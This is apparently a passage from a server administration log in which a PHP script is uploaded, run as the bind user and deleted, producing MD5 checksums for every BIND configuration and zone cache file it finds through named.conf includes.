MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-30 16:15:00: Establishing a connection
2026-04-30 16:15:01: 

PUT: /tmp/pkp902432

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-30 16:15:01: 

runuser -l bind -s /bin/bash -c '/tmp/pkp902432; rm /tmp/pkp902432'

2026-04-30 16:15:01: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
